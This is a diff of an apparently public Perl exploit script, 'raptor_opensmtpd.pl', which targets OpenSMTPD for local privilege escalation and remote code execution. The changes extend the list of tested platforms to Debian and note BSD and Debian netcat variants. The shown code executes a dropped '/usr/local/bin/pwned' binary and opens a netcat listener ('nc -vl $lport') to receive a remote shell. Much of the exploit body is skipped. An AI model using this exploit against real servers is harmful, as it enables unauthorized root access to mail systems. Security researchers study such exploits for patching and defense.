■ ■ ■ ■ ■ ■
openbsd/raptor_opensmtpd.pl
| skipped 49 lines |
50 | 50 | | # OpenBSD 6.6 [tested] |
51 | 51 | | # OpenBSD 6.5 [untested] |
52 | 52 | | # OpenBSD 6.4 [untested] |
53 | | - | # Other platforms (including major Linux distributions) [untested] |
| 53 | + | # Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested] |
| 54 | + | # Other Linux distributions [untested] |
| 55 | + | # FreeBSD [untested] |
| 56 | + | # NetBSD [untested] |
54 | 57 | | # |
55 | 58 | | |
56 | 59 | | use IO::Socket::INET; |
| skipped 82 lines |
139 | 142 | | print `ls -l /usr/local/bin/pwned`; |
140 | 143 | | exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n"; |
141 | 144 | | } else { # RCE |
142 | | - | exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; |
| 145 | + | exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat |
| 146 | + | #exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat |
143 | 147 | | } |
144 | 148 | | |